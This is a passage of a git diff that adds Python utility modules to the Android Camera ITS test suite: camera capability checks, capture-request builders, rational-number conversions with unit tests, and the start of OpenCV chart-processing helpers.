+      'android.sync.maxLatency'] == 0
+
+
+def mono_camera(props):
+  """Returns whether a device is monochromatic.
+
+  Args:
+    props: Camera properties object.
+  Returns: Boolean. True if MONO camera.
+  """
+  return 12 in props.get('android.request.availableCapabilities', [])
+
+
+def fixed_focus(props):
+  """Returns whether a device is fixed focus.
+
+  props[android.lens.info.minimumFocusDistance] == 0 is fixed focus
+
+  Args:
+    props: Camera properties objects.
+
+  Returns:
+    Boolean. True if device is a fixed focus camera.
+  """
+  return 'android.lens.info.minimumFocusDistance' in props and props[
+      'android.lens.info.minimumFocusDistance'] == 0
+
+
+def face_detect(props):
+  """Returns whether a device has face detection mode.
+
+  props['android.statistics.info.availableFaceDetectModes'] != 0
+
+  Args:
+    props: Camera properties objects.
+
+  Returns:
+    Boolean. True if device supports face detection.
+  """
+  return 'android.statistics.info.availableFaceDetectModes' in props and props[
+      'android.statistics.info.availableFaceDetectModes'] != [0]
+
+
+def read_3a(props):
+  """Return whether a device supports reading out the below 3A settings.
+
+  sensitivity
+  exposure time
+  awb gain
+  awb cct
+  focus distance
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device supports reading out 3A settings.
+  """
+  return manual_sensor(props) and manual_post_proc(props)
+
+
+def compute_target_exposure(props):
+  """Return whether a device supports target exposure computation.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports target exposure computation.
+  """
+  return manual_sensor(props) and manual_post_proc(props)
+
+
+def y8(props):
+  """Returns whether a device supports Y8 output.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device suupports Y8 output.
+  """
+  if capture_request_utils.get_available_output_sizes('y8', props):
+    return True
+  return False
+
+
+def jpeg_quality(props):
+  """Returns whether a device supports JPEG quality."""
+  return ('camera.characteristics.requestKeys' in props) and (
+      'android.jpeg.quality' in props['camera.characteristics.requestKeys'])
+
+
+def zoom_ratio_range(props):
+  """Returns whether a device supports zoom capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports zoom capabilities.
+  """
+  return 'android.control.zoomRatioRange' in props and props[
+      'android.control.zoomRatioRange'] is not None
+
+
+def sync_latency(props):
+  """Returns sync latency in number of frames.
+
+  If undefined, 8 frames.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    integer number of frames.
+  """
+  latency = props['android.sync.maxLatency']
+  if latency < 0:
+    latency = 8
+  return latency
+
+
+def get_max_digital_zoom(props):
+  """Returns the maximum amount of zooming possible by the camera device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    A float indicating the maximum amount of zooming possible by the
+    camera device.
+  """
+  z_max = 1.0
+  if 'android.scaler.availableMaxDigitalZoom' in props:
+    z_max = props['android.scaler.availableMaxDigitalZoom']
+  return z_max
+
+
+def ae_lock(props):
+  """Returns whether a device supports AE lock.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports AE lock.
+  """
+  return 'android.control.aeLockAvailable' in props and props[
+      'android.control.aeLockAvailable'] == 1
+
+
+def awb_lock(props):
+  """Returns whether a device supports AWB lock.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports AWB lock.
+  """
+  return 'android.control.awbLockAvailable' in props and props[
+      'android.control.awbLockAvailable'] == 1
+
+
+def ev_compensation(props):
+  """Returns whether a device supports ev compensation.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports EV compensation.
+  """
+  return 'android.control.aeCompensationRange' in props and props[
+      'android.control.aeCompensationRange'] != [0, 0]
+
+
+def flash(props):
+  """Returns whether a device supports flash control.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports flash control.
+  """
+  return 'android.flash.info.available' in props and props[
+      'android.flash.info.available'] == 1
+
+
+def distortion_correction(props):
+  """Returns whether a device supports android.lens.distortion capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports lens distortion correction capabilities.
+  """
+  return 'android.lens.distortion' in props and props[
+      'android.lens.distortion'] is not None
+
+
+def freeform_crop(props):
+  """Returns whether a device supports freefrom cropping.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports freeform cropping.
+  """
+  return 'android.scaler.croppingType' in props and props[
+      'android.scaler.croppingType'] == 1
+
+
+def noise_reduction_mode(props, mode):
+  """Returns whether a device supports the noise reduction mode.
+
+  Args:
+    props: Camera properties objects.
+    mode: Integer indicating noise reduction mode to check for availability.
+
+  Returns:
+    Boolean. Ture if devices supports noise reduction mode(s).
+  """
+  return ('android.noiseReduction.availableNoiseReductionModes' in props and
+          mode in props['android.noiseReduction.availableNoiseReductionModes'])
+
+
+def lsc_map(props):
+  """Returns whether a device supports lens shading map output.
+
+  Args:
+    props: Camera properties object.
+  Returns: Boolean. True if device supports lens shading map output.
+  """
+  return 1 in props.get('android.statistics.info.availableLensShadingMapModes',
+                        [])
+
+
+def lsc_off(props):
+  """Returns whether a device supports disabling lens shading correction.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports disabling lens shading correction.
+  """
+  return 0 in props.get('android.shading.availableModes', [])
+
+
+def edge_mode(props, mode):
+  """Returns whether a device supports the edge mode.
+
+  Args:
+    props: Camera properties objects.
+    mode: Integer, indicating the edge mode to check for availability.
+
+  Returns:
+    Boolean. True if device supports edge mode(s).
+  """
+  return 'android.edge.availableEdgeModes' in props and mode in props[
+      'android.edge.availableEdgeModes']
+
+
+def yuv_reprocess(props):
+  """Returns whether a device supports YUV reprocessing.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports YUV reprocessing.
+  """
+  return 'android.request.availableCapabilities' in props and 7 in props[
+      'android.request.availableCapabilities']
+
+
+def private_reprocess(props):
+  """Returns whether a device supports PRIVATE reprocessing.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports PRIVATE reprocessing.
+  """
+  return 'android.request.availableCapabilities' in props and 4 in props[
+      'android.request.availableCapabilities']
+
+
+def intrinsic_calibration(props):
+  """Returns whether a device supports android.lens.intrinsicCalibration.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports android.lens.intrinsicCalibratino.
+  """
+  return props.get('android.lens.intrinsicCalibration') is not None
+
+
+def get_intrinsic_calibration(props, debug, fd=None):
+  """Get intrinsicCalibration and create intrisic matrix.
+
+  If intrinsic android.lens.intrinsicCalibration does not exist, return None.
+
+  Args:
+    props: camera properties
+    debug: bool to print more information
+    fd: focal length from capture metadata
+
+  Returns:
+    intrinsic transformation matrix
+    k = [[f_x, s, c_x],
+         [0, f_y, c_y],
+         [0,   0,   1]]
+  """
+  if props.get('android.lens.intrinsicCalibration'):
+    ical = np.array(props['android.lens.intrinsicCalibration'])
+  else:
+    logging.error('Device does not have android.lens.intrinsicCalibration.')
+    return None
+
+  # basic checks for parameter correctness
+  ical_len = len(ical)
+  if ical_len != NUM_INTRINSIC_CAL_PARAMS:
+    raise ValueError(
+        f'instrisicCalibration has wrong number of params: {ical_len}.')
+
+  if fd is not None:
+    # detailed checks for parameter correctness
+    # Intrinsic cal is of format: [f_x, f_y, c_x, c_y, s]
+    # [f_x, f_y] is the horizontal and vertical focal lengths,
+    # [c_x, c_y] is the position of the optical axis,
+    # and s is skew of sensor plane vs lens plane.
+    sensor_h = props['android.sensor.info.physicalSize']['height']
+    sensor_w = props['android.sensor.info.physicalSize']['width']
+    pixel_h = props['android.sensor.info.pixelArraySize']['height']
+    pixel_w = props['android.sensor.info.pixelArraySize']['width']
+    fd_w_pix = pixel_w * fd / sensor_w
+    fd_h_pix = pixel_h * fd / sensor_h
+
+    if not np.isclose(fd_w_pix, ical[0], rtol=0.20):
+      raise ValueError('fd_w(pixels): %.2f\tcal[0](pixels): %.2f\tTOL=20%%' % (
+          fd_w_pix, ical[0]))
+    if not np.isclose(fd_h_pix, ical[1], rtol=0.20):
+      raise ValueError('fd_h(pixels): %.2f\tcal[1](pixels): %.2f\tTOL=20%%' % (
+          fd_h_pix, ical[0]))
+
+  # generate instrinsic matrix
+  k = np.array([[ical[0], ical[4], ical[2]],
+                [0, ical[1], ical[3]],
+                [0, 0, 1]])
+  if debug:
+    logging.debug('k: %s', str(k))
+  return k
+
+
+def get_translation_matrix(props, debug):
+  """Get translation matrix.
+
+  Args:
+    props: dict of camera properties
+    debug: boolean flag to log more info
+
+  Returns:
+    android.lens.poseTranslation matrix if it exists, otherwise None.
+  """
+  if props['android.lens.poseTranslation']:
+    t = np.array(props['android.lens.poseTranslation'])
+  else:
+    logging.error('Device does not have android.lens.poseTranslation.')
+    return None
+
+  if debug:
+    logging.debug('translation: %s', str(t))
+  t_len = len(t)
+  if t_len != NUM_POSE_TRANSLATION_PARAMS:
+    raise ValueError(f'poseTranslation has wrong # of params: {t_len}.')
+  return t
+
+
+def get_rotation_matrix(props, debug):
+  """Convert the rotation parameters to 3-axis data.
+
+  Args:
+    props: camera properties
+    debug: boolean for more information
+
+  Returns:
+    3x3 matrix w/ rotation parameters if poseRotation exists, otherwise None
+  """
+  if props['android.lens.poseRotation']:
+    rotation = np.array(props['android.lens.poseRotation'])
+  else:
+    logging.error('Device does not have android.lens.poseRotation.')
+    return None
+
+  if debug:
+    logging.debug('rotation: %s', str(rotation))
+    rotation_len = len(rotation)
+    if rotation_len != NUM_POSE_ROTATION_PARAMS:
+      raise ValueError(f'poseRotation has wrong # of params: {rotation_len}.')
+  x = rotation[0]
+  y = rotation[1]
+  z = rotation[2]
+  w = rotation[3]
+  return np.array([[1-2*y**2-2*z**2, 2*x*y-2*z*w, 2*x*z+2*y*w],
+                   [2*x*y+2*z*w, 1-2*x**2-2*z**2, 2*y*z-2*x*w],
+                   [2*x*z-2*y*w, 2*y*z+2*x*w, 1-2*x**2-2*y**2]])
+
+
+def get_distortion_matrix(props):
+  """Get android.lens.distortion matrix and convert to cv2 fmt.
+
+  Args:
+    props: dict of camera properties
+
+  Returns:
+    cv2 reordered android.lens.distortion if it exists, otherwise None.
+  """
+  if props['android.lens.distortion']:
+    dist = np.array(props['android.lens.distortion'])
+  else:
+    logging.error('Device does not have android.lens.distortion.')
+    return None
+
+  dist_len = len(dist)
+  if len(dist) != NUM_DISTORTION_PARAMS:
+    raise ValueError(f'lens.distortion has wrong # of params: {dist_len}.')
+  cv2_distort = np.array([dist[0], dist[1], dist[3], dist[4], dist[2]])
+  logging.debug('cv2 distortion params: %s', str(cv2_distort))
+  return cv2_distort
+
+
+def post_raw_sensitivity_boost(props):
+  """Returns whether a device supports post RAW sensitivity boost.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.control.postRawSensitivityBoost is supported.
+  """
+  return props.get('android.control.postRawSensitivityBoostRange') != [100, 100]
+
+
+def sensor_fusion_capable(props):
+  """Determine if test_sensor_fusion is run."""
+  return all([sensor_fusion(props),
+              manual_sensor(props),
+              props['android.lens.facing'] != LENS_FACING_EXTERNAL])
+
+
+def continuous_picture(props):
+  """Returns whether a device supports CONTINUOUS_PICTURE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if CONTINUOUS_PICTURE in android.control.afAvailableModes.
+  """
+  return 4 in props.get('android.control.afAvailableModes', [])
+
+
+def af_scene_change(props):
+  """Returns whether a device supports AF_SCENE_CHANGE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.control.afSceneChange supported.
+  """
+  return 'android.control.afSceneChange' in props.get(
+      'camera.characteristics.resultKeys')
+
+
+def multi_camera_frame_sync_capable(props):
+  """Determines if test_multi_camera_frame_sync can be run."""
+  return all([
+      read_3a(props),
+      per_frame_control(props),
+      logical_multi_camera(props),
+      sensor_fusion(props),
+  ])
+
+
+def multi_camera_sync_calibrated(props):
+  """Determines if multi-camera sync type is CALIBRATED or APPROXIMATE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.logicalMultiCamera.sensorSyncType is CALIBRATED.
+  """
+  return props.get('android.logicalMultiCamera.sensorSyncType'
+                  ) == MULTI_CAMERA_SYNC_CALIBRATED
+
+
+def solid_color_test_pattern(props):
+  """Determines if camera supports solid color test pattern.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.sensor.availableTestPatternModes has
+             SOLID_COLOR_TEST_PATTERN.
+  """
+  return SOLID_COLOR_TEST_PATTERN in props.get(
+      'android.sensor.availableTestPatternModes')
+
+
+if __name__ == '__main__':
+  unittest.main()
+
diff --git a/apps/CameraITS2.0/utils/capture_request_utils.py b/apps/CameraITS2.0/utils/capture_request_utils.py
new file mode 100644
index 0000000..4f9afa8
--- /dev/null
+++ b/apps/CameraITS2.0/utils/capture_request_utils.py
@@ -0,0 +1,418 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import unittest
+
+
+def auto_capture_request():
+  """Returns a capture request with everything set to auto."""
+  return {
+      'android.control.mode': 1,
+      'android.control.aeMode': 1,
+      'android.control.awbMode': 1,
+      'android.control.afMode': 1,
+      'android.colorCorrection.mode': 1,
+      'android.tonemap.mode': 1,
+      'android.lens.opticalStabilizationMode': 0
+  }
+
+
+def manual_capture_request(sensitivity,
+                           exp_time,
+                           f_distance=0.0,
+                           linear_tonemap=False,
+                           props=None):
+  """Returns a capture request with everything set to manual.
+
+  Uses identity/unit color correction, and the default tonemap curve.
+  Optionally, the tonemap can be specified as being linear.
+
+  Args:
+   sensitivity: The sensitivity value to populate the request with.
+   exp_time: The exposure time, in nanoseconds, to populate the request with.
+   f_distance: The focus distance to populate the request with.
+   linear_tonemap: [Optional] whether a linear tonemap should be used in this
+     request.
+   props: [Optional] the object returned from
+     its_session_utils.get_camera_properties().Must present when linear_tonemap
+     is True.
+
+  Returns:
+    The default manual capture request, ready to be passed to the
+    its_session_utils.device.do_capture function.
+  """
+  req = {
+      'android.control.captureIntent':
+          6,
+      'android.control.mode':
+          0,
+      'android.control.aeMode':
+          0,
+      'android.control.awbMode':
+          0,
+      'android.control.afMode':
+          0,
+      'android.control.effectMode':
+          0,
+      'android.sensor.sensitivity':
+          sensitivity,
+      'android.sensor.exposureTime':
+          exp_time,
+      'android.colorCorrection.mode':
+          0,
+      'android.colorCorrection.transform':
+          int_to_rational([1, 0, 0, 0, 1, 0, 0, 0, 1]),
+      'android.colorCorrection.gains': [1, 1, 1, 1],
+      'android.lens.focusDistance':
+          f_distance,
+      'android.tonemap.mode':
+          1,
+      'android.shading.mode':
+          1,
+      'android.lens.opticalStabilizationMode':
+          0
+  }
+  if linear_tonemap:
+    assert props is not None
+    # CONTRAST_CURVE mode
+    if 0 in props['android.tonemap.availableToneMapModes']:
+      req['android.tonemap.mode'] = 0
+      req['android.tonemap.curve'] = {
+          'red': [0.0, 0.0, 1.0, 1.0],
+          'green': [0.0, 0.0, 1.0, 1.0],
+          'blue': [0.0, 0.0, 1.0, 1.0]
+      }
+    # GAMMA_VALUE mode
+    elif 3 in props['android.tonemap.availableToneMapModes']:
+      req['android.tonemap.mode'] = 3
+      req['android.tonemap.gamma'] = 1.0
+    else:
+      logging.debug('Linear tonemap is not supported')
+      assert False
+  return req
+
+
+def get_available_output_sizes(fmt, props, max_size=None, match_ar_size=None):
+  """Return a sorted list of available output sizes for a given format.
+
+  Args:
+   fmt: the output format, as a string in ['jpg', 'yuv', 'raw', 'raw10',
+     'raw12', 'y8'].
+   props: the object returned from its_session_utils.get_camera_properties().
+   max_size: (Optional) A (w,h) tuple.Sizes larger than max_size (either w or h)
+     will be discarded.
+   match_ar_size: (Optional) A (w,h) tuple.Sizes not matching the aspect ratio
+     of match_ar_size will be discarded.
+
+  Returns:
+    A sorted list of (w,h) tuples (sorted large-to-small).
+  """
+  ar_tolerance = 0.03
+  fmt_codes = {
+      'raw': 0x20,
+      'raw10': 0x25,
+      'raw12': 0x26,
+      'yuv': 0x23,
+      'jpg': 0x100,
+      'jpeg': 0x100,
+      'y8': 0x20203859
+  }
+  configs = props['android.scaler.streamConfigurationMap']\
+                   ['availableStreamConfigurations']
+  fmt_configs = [cfg for cfg in configs if cfg['format'] == fmt_codes[fmt]]
+  out_configs = [cfg for cfg in fmt_configs if not cfg['input']]
+  out_sizes = [(cfg['width'], cfg['height']) for cfg in out_configs]
+  if max_size:
+    out_sizes = [
+        s for s in out_sizes if s[0] <= max_size[0] and s[1] <= max_size[1]
+    ]
+  if match_ar_size:
+    ar = match_ar_size[0] / float(match_ar_size[1])
+    out_sizes = [
+        s for s in out_sizes if abs(ar - s[0] / float(s[1])) <= ar_tolerance
+    ]
+  out_sizes.sort(reverse=True, key=lambda s: s[0])  # 1st pass, sort by width
+  out_sizes.sort(reverse=True, key=lambda s: s[0] * s[1])  # sort by area
+  return out_sizes
+
+
+def float_to_rational(f, denom=128):
+  """Function to convert Python floats to Camera2 rationals.
+
+  Args:
+    f: python float or list of floats.
+    denom: (Optional) the denominator to use in the output rationals.
+
+  Returns:
+    Python dictionary or list of dictionaries representing the given
+    float(s) as rationals.
+  """
+  if isinstance(f, list):
+    return [{'numerator': math.floor(val*denom+0.5), 'denominator': denom}
+            for val in f]
+  else:
+    return {'numerator': math.floor(f*denom+0.5), 'denominator': denom}
+
+
+def rational_to_float(r):
+  """Function to convert Camera2 rational objects to Python floats.
+
+  Args:
+   r: Rational or list of rationals, as Python dictionaries.
+
+  Returns:
+   Float or list of floats.
+  """
+  if isinstance(r, list):
+    return [float(val['numerator']) / float(val['denominator']) for val in r]
+  else:
+    return float(r['numerator']) / float(r['denominator'])
+
+
+def get_fastest_manual_capture_settings(props):
+  """Returns a capture request and format spec for the fastest manual capture.
+
+  Args:
+     props: the object returned from its_session_utils.get_camera_properties().
+
+  Returns:
+    Two values, the first is a capture request, and the second is an output
+    format specification, for the fastest possible (legal) capture that
+    can be performed on this device (with the smallest output size).
+  """
+  fmt = 'yuv'
+  size = get_available_output_sizes(fmt, props)[-1]
+  out_spec = {'format': fmt, 'width': size[0], 'height': size[1]}
+  s = min(props['android.sensor.info.sensitivityRange'])
+  e = min(props['android.sensor.info.exposureTimeRange'])
+  req = manual_capture_request(s, e)
+
+  turn_slow_filters_off(props, req)
+
+  return req, out_spec
+
+
+def get_fastest_auto_capture_settings(props):
+  """Returns a capture request and format spec for the fastest auto capture.
+
+  Args:
+     props: the object returned from its_session_utils.get_camera_properties().
+
+  Returns:
+      Two values, the first is a capture request, and the second is an output
+      format specification, for the fastest possible (legal) capture that
+      can be performed on this device (with the smallest output size).
+  """
+  fmt = 'yuv'
+  size = get_available_output_sizes(fmt, props)[-1]
+  out_spec = {'format': fmt, 'width': size[0], 'height': size[1]}
+  req = auto_capture_request()
+
+  turn_slow_filters_off(props, req)
+
+  return req, out_spec
+
+
+def fastest_auto_capture_request(props):
+  """Return an auto capture request for the fastest capture.
+
+  Args:
+    props: the object returned from its.device.get_camera_properties().
+
+  Returns:
+    A capture request with everything set to auto and all filters that
+    may slow down capture set to OFF or FAST if possible
+  """
+  req = auto_capture_request()
+  turn_slow_filters_off(props, req)
+  return req
+
+
+def turn_slow_filters_off(props, req):
+  """Turn filters that may slow FPS down to OFF or FAST in input request.
+
+   This function modifies the request argument, such that filters that may
+   reduce the frames-per-second throughput of the camera device will be set to
+   OFF or FAST if possible.
+
+  Args:
+    props: the object returned from its_session_utils.get_camera_properties().
+    req: the input request.
+
+  Returns:
+    Nothing.
+  """
+  set_filter_off_or_fast_if_possible(
+      props, req, 'android.noiseReduction.availableNoiseReductionModes',
+      'android.noiseReduction.mode')
+  set_filter_off_or_fast_if_possible(
+      props, req, 'android.colorCorrection.availableAberrationModes',
+      'android.colorCorrection.aberrationMode')
+  if 'camera.characteristics.keys' in props:
+    chars_keys = props['camera.characteristics.keys']
+    hot_pixel_modes = 'android.hotPixel.availableHotPixelModes' in chars_keys
+    edge_modes = 'android.edge.availableEdgeModes' in chars_keys
+  if 'camera.characteristics.requestKeys' in props:
+    req_keys = props['camera.characteristics.requestKeys']
+    hot_pixel_mode = 'android.hotPixel.mode' in req_keys
+    edge_mode = 'android.edge.mode' in req_keys
+  if hot_pixel_modes and hot_pixel_mode:
+    set_filter_off_or_fast_if_possible(
+        props, req, 'android.hotPixel.availableHotPixelModes',
+        'android.hotPixel.mode')
+  if edge_modes and edge_mode:
+    set_filter_off_or_fast_if_possible(props, req,
+                                       'android.edge.availableEdgeModes',
+                                       'android.edge.mode')
+
+
+def set_filter_off_or_fast_if_possible(props, req, available_modes, filter_key):
+  """Check and set controlKey to off or fast in req.
+
+  Args:
+    props: the object returned from its.device.get_camera_properties().
+    req: the input request. filter will be set to OFF or FAST if possible.
+    available_modes: the key to check available modes.
+    filter_key: the filter key
+
+  Returns:
+    Nothing.
+  """
+  if available_modes in props:
+    if 0 in props[available_modes]:
+      req[filter_key] = 0
+    elif 1 in props[available_modes]:
+      req[filter_key] = 1
+
+
+def int_to_rational(i):
+  """Function to convert Python integers to Camera2 rationals.
+
+  Args:
+   i: Python integer or list of integers.
+
+  Returns:
+    Python dictionary or list of dictionaries representing the given int(s)
+    as rationals with denominator=1.
+  """
+  if isinstance(i, list):
+    return [{'numerator': val, 'denominator': 1} for val in i]
+  else:
+    return {'numerator': i, 'denominator': 1}
+
+
+def get_largest_yuv_format(props, match_ar=None):
+  """Return a capture request and format spec for the largest yuv size.
+
+  Args:
+    props: object returned from camera_properties_utils.get_camera_properties().
+    match_ar: (Optional) a (w, h) tuple. Aspect ratio to match during search.
+
+  Returns:
+    fmt:   an output format specification for the largest possible yuv format
+           for this device.
+  """
+  size = get_available_output_sizes('yuv', props, match_ar_size=match_ar)[0]
+  fmt = {'format': 'yuv', 'width': size[0], 'height': size[1]}
+
+  return fmt
+
+
+def get_smallest_yuv_format(props, match_ar=None):
+  """Return a capture request and format spec for the smallest yuv size.
+
+  Args:
+    props: object returned from camera_properties_utils.get_camera_properties().
+    match_ar: (Optional) a (w, h) tuple. Aspect ratio to match during search.
+
+  Returns:
+    fmt:   an output format specification for the smallest possible yuv format
+           for this device.
+  """
+  size = get_available_output_sizes('yuv', props, match_ar_size=match_ar)[-1]
+  fmt = {'format': 'yuv', 'width': size[0], 'height': size[1]}
+
+  return fmt
+
+
+def get_largest_jpeg_format(props, match_ar=None):
+  """Return a capture request and format spec for the largest jpeg size.
+
+  Args:
+    props: object returned from camera_properties_utils.get_camera_properties().
+    match_ar: (Optional) a (w, h) tuple. Aspect ratio to match during search.
+
+  Returns:
+    fmt:   an output format specification for the largest possible jpeg format
+           for this device.
+  """
+  size = get_available_output_sizes('jpeg', props, match_ar_size=match_ar)[0]
+  fmt = {'format': 'jpeg', 'width': size[0], 'height': size[1]}
+
+  return fmt
+
+
+def get_max_digital_zoom(props):
+  """Returns the maximum amount of zooming possible by the camera device.
+
+  Args:
+    props: the object returned from its.device.get_camera_properties().
+
+  Return:
+    A float indicating the maximum amount of zoom possible by the camera device.
+  """
+
+  max_z = 1.0
+  if 'android.scaler.availableMaxDigitalZoom' in props:
+    max_z = props['android.scaler.availableMaxDigitalZoom']
+
+  return max_z
+
+
+class CaptureRequestUtilsTest(unittest.TestCase):
+  """Unit tests for this module.
+
+  Ensures rational number conversion dicts are created properly.
+  """
+  _FLOAT_HALF = 0.5
+  # No immutable container: frozendict requires package install on partner host
+  _RATIONAL_HALF = {'numerator': 32, 'denominator': 64}
+
+  def test_float_to_rational(self):
+    """Unit test for float_to_rational."""
+    self.assertEqual(
+        float_to_rational(self._FLOAT_HALF, 64), self._RATIONAL_HALF)
+
+  def test_rational_to_float(self):
+    """Unit test for rational_to_float."""
+    self.assertTrue(
+        math.isclose(rational_to_float(self._RATIONAL_HALF),
+                     self._FLOAT_HALF, abs_tol=0.0001))
+
+  def test_int_to_rational(self):
+    """Unit test for int_to_rational."""
+    rational_10 = {'numerator': 10, 'denominator': 1}
+    rational_1 = {'numerator': 1, 'denominator': 1}
+    rational_2 = {'numerator': 2, 'denominator': 1}
+    # Simple test
+    self.assertEqual(int_to_rational(10), rational_10)
+    # Handle list entries
+    self.assertEqual(
+        int_to_rational([1, 2]), [rational_1, rational_2])
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS2.0/utils/cv2_image_processing_utils.py b/apps/CameraITS2.0/utils/cv2_image_processing_utils.py
new file mode 100644
index 0000000..dde4570
--- /dev/null
+++ b/apps/CameraITS2.0/utils/cv2_image_processing_utils.py
@@ -0,0 +1,601 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os
+import unittest
+
+import numpy
+
+
+import cv2
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+
+ANGLE_CHECK_TOL = 1  # degrees
+ANGLE_NUM_MIN = 10  # Minimum number of angles for find_angle() to be valid
+
+
+CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'test_images',
+                          'ISO12233.png')
+CHART_HEIGHT = 13.5  # cm
+CHART_DISTANCE_RFOV = 31.0  # cm
+CHART_DISTANCE_WFOV = 22.0  # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
+
+CIRCLE_AR_ATOL = 0.1  # circle aspect ratio tolerance
+CIRCLISH_ATOL = 0.10  # contour area vs ideal circle area & aspect ratio TOL
+CIRCLISH_LOW_RES_ATOL = 0.15  # loosen for low res images
+CIRCLE_MIN_PTS = 20
+CIRCLE_RADIUS_NUMPTS_THRESH = 2  # contour num_pts/radius: empirically ~3x
+
+CV2_RED = (255, 0, 0)  # color in cv2 to draw lines
+
+FOV_THRESH_SUPER_TELE = 40
+FOV_THRESH_TELE = 60
+FOV_THRESH_WFOV = 90
+
+LOW_RES_IMG_THRESH = 320 * 240
+
+RGB_GRAY_WEIGHTS = (0.299, 0.587, 0.114)  # RGB to Gray conversion matrix
+
+SCALE_RFOV_IN_WFOV_BOX = 0.67
+SCALE_TELE_IN_RFOV_BOX = 0.67
+SCALE_TELE_IN_WFOV_BOX = 0.5
+
+SQUARE_AREA_MIN_REL = 0.05  # Minimum size for square relative to image area
+SQUARE_TOL = 0.1  # Square W vs H mismatch RTOL
+
+TEST_IMG_DIR = os.path.join(os.environ['CAMERA_ITS_TOP'], 'test_images')
+
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
+
+
+def find_all_contours(img):
+  cv2_version = cv2.__version__
+  if cv2_version.startswith('3.'):  # OpenCV 3.x
+    _, contours, _ = cv2.findContours(img, cv2.RETR_TREE,
+                                      cv2.CHAIN_APPROX_SIMPLE)
+  else:  # OpenCV 2.x and 4.x
+    contours, _ = cv2.findContours(img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+  return contours
+
+
+def calc_chart_scaling(chart_distance, camera_fov):
+  """Returns charts scaling factor.
+
+  Args:
+   chart_distance: float; distance in cm from camera of displayed chart
+   camera_fov: float; camera field of view.
+
+  Returns:
+   chart_scaling: float; scaling factor for chart
+  """
+  chart_scaling = 1.0
+  camera_fov = float(camera_fov)
+  if (FOV_THRESH_TELE < camera_fov < FOV_THRESH_WFOV and
+      numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
+    chart_scaling = SCALE_RFOV_IN_WFOV_BOX
+  elif (camera_fov <= FOV_THRESH_TELE and
+        numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
+    chart_scaling = SCALE_TELE_IN_WFOV_BOX
+  elif (camera_fov <= FOV_THRESH_TELE and
+        numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
+    chart_scaling = SCALE_TELE_IN_RFOV_BOX
+  return chart_scaling
+
+
+def scale_img(img, scale=1.0):
+  """Scale image based on a real number scale factor."""
+  dim = (int(img.shape[1] * scale), int(img.shape[0] * scale))
+  return cv2.resize(img.copy(), dim, interpolation=cv2.INTER_AREA)
+
+
+def gray_scale_img(img):
+  """Return gray scale version of image."""
+  if len(img.shape) == 2:
+    img_gray = img.copy()
+  elif len(img.shape) == 3:
+    if img.shape[2] == 1:
+      img_gray = img[:, :, 0].copy()
+    else:
+      img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
+  return img_gray
+
+
+class Chart(object):
+  """Definition for chart object.
+
+  Defines PNG reference file, chart, size, distance and scaling range.
+  """
+
+  def __init__(
+      self,
+      cam,
+      props,
+      log_path,
+      chart_loc=None,
+      chart_file=None,
+      height=None,
+      distance=None,
+      scale_start=None,
+      scale_stop=None,
+      scale_step=None):
+    """Initial constructor for class.
+
+    Args:
+     cam: open ITS session
+     props: camera properties object
+     log_path: log path to store the captured images.
+     chart_loc: chart locator arg.
+     chart_file: str; absolute path to png file of chart
+     height: float; height in cm of displayed chart
+     distance: float; distance in cm from camera of displayed chart
+     scale_start: float; start value for scaling for chart search
+     scale_stop: float; stop value for scaling for chart search
+     scale_step: float; step value for scaling for chart search
+    """
+    self._file = chart_file or CHART_FILE
